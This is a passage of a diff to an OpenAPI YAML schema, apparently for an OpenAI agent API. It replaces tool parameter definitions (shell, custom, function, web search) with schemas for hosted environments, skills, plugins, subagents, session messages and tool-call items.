- allowed_callers:
- anyOf:
- - items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- type: array
- minItems: 1
- description: The tool invocation context(s).
- - type: 'null'
- type: object
+ description: The type of the object. Always `inline`.
+ id:
+ type: string
+ minLength: 0
+ description: The session-scoped ID of the file in the execution environment.
+ path:
+ type: string
+ minLength: 0
+ description: The file's absolute path inside the environment.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The decoded file size in bytes.
required:
- type
- title: Shell tool
- description: A tool that allows the model to execute shell commands.
- CustomTextFormatParam:
+ - id
+ - path
+ - size_bytes
+ additionalProperties: false
+ description: A file supplied inline when the session was created.
+ HostedEnvironmentFileResource:
+ description: Metadata for a file materialized in an OpenAI-hosted execution environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ file_id: '#/components/schemas/HostedEnvironmentFileResourceFileId'
+ inline: '#/components/schemas/HostedEnvironmentFileResourceInline'
+ x-oai-discriminator-values:
+ - file_id
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedEnvironmentFileResourceFileId'
+ - $ref: '#/components/schemas/HostedEnvironmentFileResourceInline'
+ HostedSkillResourceSkillReference:
+ type: object
properties:
type:
type: string
enum:
- - text
- description: Unconstrained text format. Always `text`.
- default: text
+ - skill_reference
+ default: skill_reference
x-stainless-const: true
- type: object
+ description: The type of the object. Always `skill_reference`.
+ skill_id:
+ type: string
+ minLength: 0
+ description: The referenced skill ID.
+ version:
+ type: string
+ minLength: 0
+ description: The concrete skill version installed for this session.
+ name:
+ type: string
+ minLength: 0
+ description: The installed skill name.
+ description:
+ type: string
+ minLength: 0
+ description: The installed skill description.
required:
- type
- title: Text format
- description: Unconstrained free-form text.
- GrammarSyntax1:
- type: string
- enum:
- - lark
- - regex
- CustomGrammarFormatParam:
+ - skill_id
+ - version
+ - name
+ - description
+ additionalProperties: false
+ description: A skill installed from the Skills API.
+ HostedSkillResourceInline:
+ type: object
properties:
type:
type: string
enum:
- - grammar
- description: Grammar format. Always `grammar`.
- default: grammar
+ - inline
+ default: inline
x-stainless-const: true
- syntax:
- $ref: '#/components/schemas/GrammarSyntax1'
- description: The syntax of the grammar definition. One of `lark` or `regex`.
- definition:
+ description: The type of the object. Always `inline`.
+ name:
type: string
- description: The grammar definition.
- type: object
+ minLength: 0
+ description: The installed skill name.
+ description:
+ type: string
+ minLength: 0
+ description: The installed skill description.
required:
- type
- - syntax
- - definition
- title: Grammar format
- description: A grammar defined by the user.
- CustomToolParam:
+ - name
+ - description
+ additionalProperties: false
+ description: A skill installed from an inline ZIP archive.
+ HostedSkillResource:
+ description: A skill installed in an OpenAI-hosted environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ skill_reference: '#/components/schemas/HostedSkillResourceSkillReference'
+ inline: '#/components/schemas/HostedSkillResourceInline'
+ x-oai-discriminator-values:
+ - skill_reference
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedSkillResourceSkillReference'
+ - $ref: '#/components/schemas/HostedSkillResourceInline'
+ HostedPluginResourceInline:
+ type: object
properties:
type:
type: string
enum:
- - custom
- description: The type of the custom tool. Always `custom`.
- default: custom
+ - inline
+ default: inline
x-stainless-const: true
+ description: The type of the object. Always `inline`.
name:
type: string
- description: The name of the custom tool, used to identify it in tool calls.
- async:
- type: boolean
- description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
+ minLength: 0
+ description: The installed plugin name.
description:
type: string
- description: Optional description of the custom tool, used to provide more context.
- format:
- discriminator:
- propertyName: type
- description: The input format for the custom tool. Default is unconstrained text.
- anyOf:
- - $ref: '#/components/schemas/CustomTextFormatParam'
- - $ref: '#/components/schemas/CustomGrammarFormatParam'
- defer_loading:
- type: boolean
- description: Whether this tool should be deferred and discovered via tool search.
- allowed_callers:
- anyOf:
- - items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- type: array
- minItems: 1
- description: The tool invocation context(s).
- - type: 'null'
- type: object
+ minLength: 0
+ description: The installed plugin description.
required:
- type
- name
- title: Custom tool
- description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
- EmptyModelParam:
- properties: {}
+ - description
+ additionalProperties: false
+ description: A plugin installed from an inline ZIP archive.
+ HostedPluginResource:
+ description: A plugin installed in an OpenAI-hosted environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ inline: '#/components/schemas/HostedPluginResourceInline'
+ x-oai-discriminator-values:
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedPluginResourceInline'
+ PublicEnvironmentResource:
type: object
- required: []
- FunctionToolParam:
properties:
- name:
+ id:
type: string
- maxLength: 128
- minLength: 1
- pattern: ^[a-zA-Z0-9_-]+$
- description:
- anyOf:
- - type: string
- - type: 'null'
- parameters:
- anyOf:
- - $ref: '#/components/schemas/EmptyModelParam'
- - type: 'null'
- strict:
- anyOf:
- - type: boolean
- description: Whether to enforce strict parameter validation. If omitted, Responses attempts to use strict validation when the schema is compatible, and falls back to non-strict validation otherwise.
- - type: 'null'
+ minLength: 0
+ description: The ID of the environment.
+ object:
+ type: string
+ enum:
+ - agent.environment
+ default: agent.environment
+ x-stainless-const: true
+ description: The object type. Always `agent.environment`.
+ type:
+ $ref: '#/components/schemas/EnvironmentTypeResource'
+ description: Whether the environment is hosted by OpenAI or by the application.
+ status:
+ $ref: '#/components/schemas/EnvironmentStatusResource'
+ description: The current environment connection status.
+ files:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedEnvironmentFileResource'
+ minItems: 0
+ maxItems: 2000
+ description: Files installed in the environment, without their contents.
+ skills:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedSkillResource'
+ minItems: 0
+ maxItems: 2000
+ description: Skills installed in the environment, without their archive contents.
+ plugins:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedPluginResource'
+ minItems: 0
+ maxItems: 2000
+ description: Plugins installed in the environment, without their archive contents.
+ required:
+ - id
+ - object
+ - type
+ - status
+ - files
+ - skills
+ - plugins
+ additionalProperties: false
+ description: Safe metadata for a first-class execution environment.
+ ErrorBodyResource:
+ type: object
+ properties:
type:
+ type: string
+ minLength: 0
+ description: The error type.
+ code:
+ type: string
+ minLength: 0
+ description: A machine-readable error code.
+ message:
+ type: string
+ minLength: 0
+ description: A human-readable error message.
+ param:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The request parameter that caused the error, or null for a request-wide error.
+ required:
+ - type
+ - code
+ - message
+ - param
+ additionalProperties: false
+ description: Details about an API error.
+ ErrorResponse-2:
+ type: object
+ properties:
+ error:
+ $ref: '#/components/schemas/ErrorBodyResource'
+ description: The error returned by the API.
+ required:
+ - error
+ additionalProperties: false
+ description: An API error response.
+ ListOrderParam:
+ type: string
+ enum:
+ - asc
+ - desc
+ x-enumDescriptions:
+ - Returns resources in ascending order.
+ - Returns resources in descending order.
+ description: The order in which paginated resources are returned.
+ EnvironmentFilePageObjectResource:
+ type: string
+ enum:
+ - page
+ default: page
+ x-stainless-const: true
+ description: The object type for a page of files in an execution environment.
+ EnvironmentFileResource:
+ type: object
+ properties:
+ object:
type: string
enum:
- - function
- default: function
+ - agent.environment.file
+ default: agent.environment.file
x-stainless-const: true
- async:
- type: boolean
- description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
- output_schema:
- anyOf:
- - additionalProperties: {}
- type: object
- description: A JSON Schema describing the JSON value encoded in string outputs for this function tool. This does not describe content-array outputs.
- x-oaiTypeLabel: map
- - type: 'null'
- defer_loading:
+ description: The object type. Always `agent.environment.file`.
+ environment_id:
+ type: string
+ minLength: 0
+ description: The ID of the environment containing this file.
+ path:
+ type: string
+ minLength: 0
+ description: The absolute file path inside the environment's workspace.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The file size in bytes.
+ required:
+ - object
+ - environment_id
+ - path
+ - size_bytes
+ additionalProperties: false
+ description: A live file in an execution environment.
+ EnvironmentFileListResource:
+ type: object
+ properties:
+ object:
+ $ref: '#/components/schemas/EnvironmentFilePageObjectResource'
+ description: The object type. Always `page`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/EnvironmentFileResource'
+ minItems: 0
+ maxItems: 2000
+ description: Files available on the current page.
+ next:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The opaque cursor to use when requesting the next page, if any.
+ has_more:
type: boolean
- description: Whether this function should be deferred and discovered via tool search.
- allowed_callers:
- anyOf:
- - items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- type: array
- minItems: 1
- description: The tool invocation context(s).
- - type: 'null'
+ description: Whether more files follow this page.
+ required:
+ - object
+ - data
+ - next
+ - has_more
+ additionalProperties: false
+ description: A paginated list of live execution environment files.
+ HostedEnvironmentFileParamFileId:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - file_id
+ default: file_id
+ x-stainless-const: true
+ description: The type of the object. Always `file_id`.
+ file_id:
+ type: string
+ minLength: 1
+ maxLength: 256
+ description: The ID of the uploaded file.
+ path:
+ type: string
+ minLength: 1
+ maxLength: 4096
+ description: The absolute destination path inside `/workspace`.
+ required:
+ - type
+ - file_id
+ - path
+ additionalProperties: false
+ description: A file previously uploaded through the OpenAI Files API.
+ HostedEnvironmentFileParamInline:
type: object
- required:
- - name
- - type
- NamespaceToolParam:
properties:
type:
type: string
enum:
- - namespace
- description: The type of the tool. Always `namespace`.
- default: namespace
+ - inline
+ default: inline
x-stainless-const: true
- name:
+ description: The type of the object. Always `inline`.
+ data:
type: string
- minLength: 1
- description: The namespace name used in tool calls (for example, `crm`).
- description:
+ minLength: 0
+ maxLength: 6990508
+ description: The standard-base64-encoded file contents.
+ path:
type: string
- description: A description of the namespace shown to the model.
- tools:
- items:
- discriminator:
- propertyName: type
- description: A function or custom tool that belongs to a namespace.
- anyOf:
- - $ref: '#/components/schemas/FunctionToolParam'
- - $ref: '#/components/schemas/CustomToolParam'
- type: array
- minItems: 1
- description: The function/custom tools available inside this namespace.
- type: object
+ minLength: 1
+ maxLength: 4096
+ description: The absolute destination path inside `/workspace`.
required:
- type
- - name
- - description
- - tools
- title: Namespace
- description: Groups function/custom tools under a shared namespace.
- ToolSearchToolParam:
+ - data
+ - path
+ additionalProperties: false
+ description: A file supplied directly as standard-base64 data.
+ HostedEnvironmentFileParam:
+ description: A file materialized in an OpenAI-hosted execution environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ file_id: '#/components/schemas/HostedEnvironmentFileParamFileId'
+ inline: '#/components/schemas/HostedEnvironmentFileParamInline'
+ x-oai-discriminator-values:
+ - file_id
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedEnvironmentFileParamFileId'
+ - $ref: '#/components/schemas/HostedEnvironmentFileParamInline'
+ SubagentObjectResource:
+ type: string
+ enum:
+ - agent.session.subagent
+ default: agent.session.subagent
+ x-stainless-const: true
+ description: The object type for a subagent.
+ OutputTextResource:
+ type: object
properties:
type:
type: string
enum:
- - tool_search
- description: The type of the tool. Always `tool_search`.
- default: tool_search
+ - output_text
+ default: output_text
x-stainless-const: true
- execution:
- $ref: '#/components/schemas/ToolSearchExecutionType'
- description: Whether tool search is executed by the server or by the client.
- description:
- anyOf:
- - type: string
- description: Description shown to the model for a client-executed tool search tool.
- - type: 'null'
- parameters:
- anyOf:
- - $ref: '#/components/schemas/EmptyModelParam'
- description: Parameter schema for a client-executed tool search tool.
- - type: 'null'
- type: object
+ description: The content type. Always `output_text`.
+ text:
+ type: string
+ minLength: 0
+ description: The text produced by the agent.
required:
- type
- title: Tool search tool
- description: Hosted or BYOT tool search configuration for deferred tools.
- ApproximateLocation:
+ - text
+ additionalProperties: false
+ description: A text content part produced by the agent.
+ EncryptedContentResource:
+ type: object
properties:
type:
type: string
enum:
- - approximate
- description: The type of location approximation. Always `approximate`.
- default: approximate
+ - encrypted_content
+ default: encrypted_content
x-stainless-const: true
- country:
- anyOf:
- - type: string
- description: The two-letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user, e.g. `US`.
- - type: 'null'
- region:
- anyOf:
- - type: string
- description: Free text input for the region of the user, e.g. `California`.
- - type: 'null'
- city:
- anyOf:
- - type: string
- description: Free text input for the city of the user, e.g. `San Francisco`.
- - type: 'null'
- timezone:
- anyOf:
- - type: string
- description: The [IANA timezone](https://timeapi.io/documentation/iana-timezones) of the user, e.g. `America/Los_Angeles`.
- - type: 'null'
- type: object
+ description: The content type. Always `encrypted_content`.
+ encrypted_content:
+ type: string
+ minLength: 0
+ description: The encrypted content payload.
required:
- type
- SearchContextSize:
+ - encrypted_content
+ additionalProperties: false
+ description: Encrypted content exchanged between agents.
+ AgentContentResource:
+ description: A plaintext or encrypted content part exchanged between agents.
+ discriminator:
+ propertyName: type
+ mapping:
+ output_text: '#/components/schemas/OutputTextResource'
+ encrypted_content: '#/components/schemas/EncryptedContentResource'
+ x-oai-discriminator-values:
+ - output_text
+ - encrypted_content
+ anyOf:
+ - $ref: '#/components/schemas/OutputTextResource'
+ - $ref: '#/components/schemas/EncryptedContentResource'
+ SubagentStatusResource:
type: string
enum:
- - low
- - medium
- - high
- SearchContentType:
+ - active
+ - closed
+ x-enumDescriptions:
+ - The subagent remains available, including while idle between turns.
+ - The subagent is closed.
+ description: The current status of a subagent.
+ SubagentResource:
+ type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the subagent.
+ object:
+ $ref: '#/components/schemas/SubagentObjectResource'
+ description: The object type. Always `agent.session.subagent`.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session that owns the subagent.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The runner-assigned nickname, or null when unavailable.
+ instructions:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/AgentContentResource'
+ minItems: 0
+ maxItems: 2000
+ description: Initial task content, or null when unavailable. Text may contain placeholders for images or audio when only a preview is available.
+ parent_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent that created this subagent.
+ status:
+ $ref: '#/components/schemas/SubagentStatusResource'
+ description: The current status of the subagent.
+ opened_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the subagent was first opened. Resuming does not change it.
+ closed_at:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ description: The Unix timestamp, in seconds, when the subagent was closed. Null while active, including after resume.
+ required:
+ - id
+ - object
+ - session_id
+ - name
+ - instructions
+ - parent_agent_id
+ - status
+ - opened_at
+ - closed_at
+ additionalProperties: false
+ description: A subagent created within a session.
+ SessionMessageRoleResource:
type: string
enum:
- - text
- - image
- WebSearchPreviewTool:
+ - user
+ - assistant
+ description: The author of a session message.
+ MessageContentResourceInputText:
+ type: object
properties:
type:
type: string
enum:
- - web_search_preview
- - web_search_preview_2025_03_11
- description: The type of the web search tool. One of `web_search_preview` or `web_search_preview_2025_03_11`.
- default: web_search_preview
+ - input_text
+ default: input_text
x-stainless-const: true
- user_location:
- anyOf:
- - $ref: '#/components/schemas/ApproximateLocation'
- description: The user's location.
- - type: 'null'
- search_context_size:
- $ref: '#/components/schemas/SearchContextSize'
- description: High level guidance for the amount of context window space to use for the search. One of `low`, `medium`, or `high`. `medium` is the default.
- search_content_types:
- items:
- $ref: '#/components/schemas/SearchContentType'
- type: array
- type: object
+ description: The type of the object. Always `input_text`.
+ text:
+ type: string
+ minLength: 0
+ description: The text supplied by the user.
required:
- type
- title: Web search preview
- description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
- ApplyPatchToolParam:
+ - text
+ additionalProperties: false
+ description: Text supplied by the user.
+ MessageContentResourceInputImage:
+ type: object
properties:
type:
type: string
enum:
- - apply_patch
- description: The type of the tool. Always `apply_patch`.
- default: apply_patch
+ - input_image
+ default: input_image
x-stainless-const: true
- allowed_callers:
- anyOf:
- - items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- type: array
- minItems: 1
- description: The tool invocation context(s).
- - type: 'null'
- type: object
+ description: The type of the object. Always `input_image`.
+ image_url:
+ type: string
+ minLength: 0
+ description: The URL of the image supplied by the user, which may be a base64-encoded data URL.
required:
- type
- title: Apply patch tool
- description: Allows the assistant to create, delete, or update files using unified diffs.
- ToolSearchOutput:
+ - image_url
+ additionalProperties: false
+ description: An image supplied by the user.
+ MessageContentResourceOutputText:
+ type: object
properties:
type:
type: string
enum:
- - tool_search_output
- description: The type of the item. Always `tool_search_output`.
- default: tool_search_output
+ - output_text
+ default: output_text
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the tool search output item.
- call_id:
- anyOf:
- - type: string
- description: The unique ID of the tool search call generated by the model.
- - type: 'null'
- execution:
- $ref: '#/components/schemas/ToolSearchExecutionType'
- description: Whether tool search was executed by the server or by the client.
- tools:
- items:
- $ref: '#/components/schemas/Tool'
- type: array
- description: The loaded tool definitions returned by tool search.
- status:
- $ref: '#/components/schemas/FunctionCallOutputStatusEnum'
- description: The status of the tool search output item that was recorded.
- created_by:
+ description: The type of the object. Always `output_text`.
+ text:
type: string
- description: The identifier of the actor that created the item.
- type: object
+ minLength: 0
+ description: The text produced by the assistant.
required:
- type
- - id
- - call_id
- - execution
- - tools
- - status
- AdditionalTools:
+ - text
+ additionalProperties: false
+ description: Text produced by the assistant.
+ MessageContentResource:
+ description: A content part in a session message.
+ discriminator:
+ propertyName: type
+ mapping:
+ input_text: '#/components/schemas/MessageContentResourceInputText'
+ input_image: '#/components/schemas/MessageContentResourceInputImage'
+ output_text: '#/components/schemas/MessageContentResourceOutputText'
+ x-oai-discriminator-values:
+ - input_text
+ - input_image
+ - output_text
+ anyOf:
+ - $ref: '#/components/schemas/MessageContentResourceInputText'
+ - $ref: '#/components/schemas/MessageContentResourceInputImage'
+ - $ref: '#/components/schemas/MessageContentResourceOutputText'
+ OutputItemStatusResource:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ x-enumDescriptions:
+ - The item is in progress.
+ - The item is complete.
+ - The item stopped before completing.
+ description: The status of an agent output item.
+ MessagePhaseResource:
+ type: string
+ enum:
+ - commentary
+ - final_answer
+ x-enumDescriptions:
+ - Commentary produced while the agent works.
+ - The agent's final answer.
+ description: The phase of an assistant message.
+ MessageItemResource:
+ type: object
properties:
type:
type: string
enum:
- - additional_tools
- description: The type of the item. Always `additional_tools`.
- default: additional_tools
+ - message
+ default: message
x-stainless-const: true
+ description: The item type. Always `message`.
id:
- type: string
- description: The unique ID of the additional tools item.
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of this item, or null for legacy user messages whose ID was not recorded.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
role:
- $ref: '#/components/schemas/MessageRole'
- description: The role that provided the additional tools.
- tools:
- items:
- $ref: '#/components/schemas/Tool'
+ $ref: '#/components/schemas/SessionMessageRoleResource'
+ description: The role of the message author.
+ content:
type: array
- description: The additional tool definitions made available at this item.
- type: object
+ items:
+ $ref: '#/components/schemas/MessageContentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The content of the message. User messages contain input text or images; assistant messages contain output text.
+ status:
+ $ref: '#/components/schemas/OutputItemStatusResource'
+ description: The status of the message. User messages are always `completed`.
+ phase:
+ anyOf:
+ - $ref: '#/components/schemas/MessagePhaseResource'
+ - type: 'null'
+ description: The phase of an assistant message. Null for user messages.
required:
- type
- id
+ - turn_id
- role
- - tools
- Program:
+ - content
+ - status
+ - phase
+ additionalProperties: false
+ description: A user or assistant message recorded in a session.
+ SummaryTextResource:
+ type: object
properties:
type:
type: string
enum:
- - program
- description: The type of the item. Always `program`.
- default: program
+ - summary_text
+ default: summary_text
x-stainless-const: true
- id:
+ description: The content type. Always `summary_text`.
+ text:
type: string
- description: The unique ID of the program item.
- call_id:
+ minLength: 0
+ description: The reasoning summary text.
+ required:
+ - type
+ - text
+ additionalProperties: false
+ description: A reasoning summary content part.
+ ReasoningItemResource:
+ type: object
+ properties:
+ type:
type: string
- description: The stable call ID of the program item.
- code:
+ enum:
+ - reasoning
+ default: reasoning
+ x-stainless-const: true
+ description: The item type. Always `reasoning`.
+ id:
type: string
- description: The JavaScript source executed by programmatic tool calling.
- fingerprint:
+ minLength: 0
+ description: The ID of the reasoning item.
+ turn_id:
type: string
- description: Opaque program replay fingerprint that must be round-tripped.
- type: object
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ summary:
+ type: array
+ items:
+ $ref: '#/components/schemas/SummaryTextResource'
+ minItems: 0
+ maxItems: 2000
+ description: The reasoning summaries produced by the agent.
+ status:
+ anyOf:
+ - $ref: '#/components/schemas/OutputItemStatusResource'
+ - type: 'null'
+ description: The status of the reasoning item.
required:
- type
- id
- - call_id
- - code
- - fingerprint
- ProgramOutputStatus:
+ - turn_id
+ - summary
+ - status
+ additionalProperties: false
+ description: A reasoning item produced by the agent.
+ FunctionCallStatusResource:
type: string
enum:
+ - in_progress
- completed
+ - failed
- incomplete
- ProgramOutput:
+ x-enumDescriptions:
+ - The call is in progress.
+ - The call completed successfully.
+ - The call failed.
+ - The call stopped before completing.
+ description: The status of a tool call.
+ FunctionCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - program_output
- description: The type of the item. Always `program_output`.
- default: program_output
+ - function_call
+ default: function_call
x-stainless-const: true
+ description: The item type. Always `function_call`.
id:
type: string
- description: The unique ID of the program output item.
+ minLength: 0
+ description: The ID of the function call item.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
call_id:
type: string
- description: The call ID of the program item.
- result:
+ minLength: 0
+ description: The ID used to submit the function result.
+ name:
type: string
- description: The result produced by the program item.
+ minLength: 0
+ description: The name of the function to call.
+ arguments:
+ description: The arguments to pass to the function.
status:
- $ref: '#/components/schemas/ProgramOutputStatus'
- description: The terminal status of the program output item.
- type: object
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the function call.
required:
- type
- id
+ - turn_id
- call_id
- - result
+ - name
+ - arguments
- status
- CompactionBody:
+ additionalProperties: false
+ description: A function call produced by the agent.
+ InputContentResourceInputText:
+ type: object
properties:
type:
type: string
enum:
- - compaction
- description: The type of the item. Always `compaction`.
- default: compaction
+ - input_text
+ default: input_text
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the compaction item.
- encrypted_content:
- type: string
- description: The encrypted content that was produced by compaction.
- created_by:
+ description: The type of the object. Always `input_text`.
+ text:
type: string
- description: The identifier of the actor that created the item.
- type: object
+ minLength: 0
+ description: The text supplied to the agent.
required:
- type
- - id
- - encrypted_content
- title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
- CodeInterpreterOutputLogs:
+ - text
+ additionalProperties: false
+ description: Text input recorded in a session item.
+ InputContentResourceInputImage:
+ type: object
properties:
type:
type: string
enum:
- - logs
- description: The type of the output. Always `logs`.
- default: logs
+ - input_image
+ default: input_image
x-stainless-const: true
- logs:
+ description: The type of the object. Always `input_image`.
+ image_url:
type: string
- description: The logs output from the code interpreter.
- type: object
+ minLength: 0
+ description: The URL of the image supplied to the agent, which may be a base64-encoded data URL.
required:
- type
- - logs
- title: Code interpreter output logs
- description: The logs output from the code interpreter.
- CodeInterpreterOutputImage:
+ - image_url
+ additionalProperties: false
+ description: Image input recorded in a session item.
+ InputContentResource:
+ description: User-provided content recorded in a session item.
+ discriminator:
+ propertyName: type
+ mapping:
+ input_text: '#/components/schemas/InputContentResourceInputText'
+ input_image: '#/components/schemas/InputContentResourceInputImage'
+ x-oai-discriminator-values:
+ - input_text
+ - input_image
+ anyOf:
+ - $ref: '#/components/schemas/InputContentResourceInputText'
+ - $ref: '#/components/schemas/InputContentResourceInputImage'
+ FunctionCallOutputResource:
+ description: The text or model-input content supplied as a function result.
+ anyOf:
+ - type: string
+ minLength: 0
+ - type: array
+ items:
+ $ref: '#/components/schemas/InputContentResource'
+ minItems: 0
+ maxItems: 2000
+ FunctionCallOutputItemResource:
+ type: object
properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the function call output item.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
type:
type: string
enum:
- - image
- description: The type of the output. Always `image`.
- default: image
+ - function_call_output
+ default: function_call_output
x-stainless-const: true
- url:
+ description: The item type. Always `function_call_output`.
+ call_id:
type: string
- format: uri
- description: The URL of the image output from the code interpreter.
- type: object
+ minLength: 0
+ description: The ID of the function call that produced this output.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the function call.
+ output:
+ anyOf:
+ - $ref: '#/components/schemas/FunctionCallOutputResource'
+ - type: 'null'
+ description: The function result, if the call succeeded.
+ error:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The error message, if the call failed.
required:
+ - id
+ - turn_id
- type
- - url
- title: Code interpreter output image
- description: The image output from the code interpreter.
- LocalShellExecAction:
+ - call_id
+ - status
+ - output
+ - error
+ additionalProperties: false
+ description: The result supplied for a function call.
+ AgentMessageItemResource:
+ type: object
properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the message.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
type:
type: string
enum:
- - exec
- description: The type of the local shell action. Always `exec`.
- default: exec
+ - agent_message
+ default: agent_message
x-stainless-const: true
- command:
- items:
- type: string
+ description: The item type. Always `agent_message`.
+ sender_agent_id:
+ type: string
+ minLength: 0
+ description: The ID or name of the sending agent.
+ recipient_agent_id:
+ type: string
+ minLength: 0
+ description: The ID or name of the receiving agent.
+ content:
type: array
- description: The command to run.
- timeout_ms:
- anyOf:
- - type: integer
- description: Optional timeout in milliseconds for the command.
- - type: 'null'
- working_directory:
- anyOf:
- - type: string
- description: Optional working directory to run the command in.
- - type: 'null'
- env:
- additionalProperties:
- type: string
- type: object
- description: Environment variables to set for the command.
- x-oaiTypeLabel: map
- user:
- anyOf:
- - type: string
- description: Optional user to run the command as.
- - type: 'null'
- type: object
+ items:
+ $ref: '#/components/schemas/AgentContentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The content exchanged between the agents.
required:
+ - id
+ - turn_id
- type
- - command
- - env
- title: Local shell exec action
- description: Execute a shell command on the server.
- FunctionShellAction:
+ - sender_agent_id
+ - recipient_agent_id
+ - content
+ additionalProperties: false
+ description: A message exchanged between agent threads.
+ McpCallItemResource:
+ type: object
properties:
- commands:
- items:
- type: string
- description: A list of commands to run.
- type: array
- timeout_ms:
+ type:
+ type: string
+ enum:
+ - mcp_call
+ default: mcp_call
+ x-stainless-const: true
+ description: The item type. Always `mcp_call`.
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the MCP call item.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ server_label:
+ type: string
+ minLength: 0
+ description: The label of the MCP server.
+ name:
+ type: string
+ minLength: 0
+ description: The name of the MCP tool.
+ arguments:
+ description: The arguments passed to the MCP tool.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the MCP tool call.
+ output:
anyOf:
- - type: integer
- description: Optional timeout in milliseconds for the commands.
+ - {}
- type: 'null'
- max_output_length:
+ description: The output returned by the MCP tool, if any.
+ error:
anyOf:
- - type: integer
- description: Optional maximum number of characters to return from each command.
+ - {}
- type: 'null'
- type: object
+ description: The error returned by the MCP tool, if any.
required:
- - commands
- - timeout_ms
- - max_output_length
- title: Shell exec action
- description: Execute a shell command.
- FunctionShellCallStatus:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- LocalEnvironmentResource:
+ - type
+ - id
+ - turn_id
+ - server_label
+ - name
+ - arguments
+ - status
+ - output
+ - error
+ additionalProperties: false
+ description: A call to a tool on an MCP server.
+ WebSearchActionResourceSearch:
+ type: object
properties:
type:
type: string
enum:
- - local
- description: The environment type. Always `local`.
- default: local
+ - search
+ default: search
x-stainless-const: true
- type: object
+ description: The type of the object. Always `search`.
+ query:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The search query, when a single query was used.
+ queries:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: The search queries, when multiple queries were used.
required:
- type
- title: Local Environment
- description: Represents the use of a local environment to perform shell actions.
- ContainerReferenceResource:
+ - query
+ - queries
+ additionalProperties: false
+ description: A search query or group of search queries.
+ WebSearchActionResourceOpenPage:
+ type: object
properties:
type:
type: string
enum:
- - container_reference
- description: The environment type. Always `container_reference`.
- default: container_reference
+ - open_page
+ default: open_page
x-stainless-const: true
- container_id:
+ description: The type of the object. Always `open_page`.
+ url:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The URL of the page that was opened.
+ required:
+ - type
+ - url
+ additionalProperties: false
+ description: Opens a web page.
+ WebSearchActionResourceFindInPage:
+ type: object
+ properties:
+ type:
type: string
+ enum:
+ - find_in_page
+ default: find_in_page
+ x-stainless-const: true
+ description: The type of the object. Always `find_in_page`.
+ url:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The URL of the page that was searched.
+ pattern:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The text pattern that was searched for.
+ required:
+ - type
+ - url
+ - pattern
+ additionalProperties: false
+ description: Finds text within a web page.
+ WebSearchActionResourceOther:
type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - other
+ default: other
+ x-stainless-const: true
+ description: The type of the object. Always `other`.
required:
- type
- - container_id
- title: Container Reference
- description: Represents a container created with /v1/containers.
- FunctionShellCall:
+ additionalProperties: false
+ description: Another web search action.
+ WebSearchActionResource:
+ description: An action performed by the web search tool.
+ discriminator:
+ propertyName: type
+ mapping:
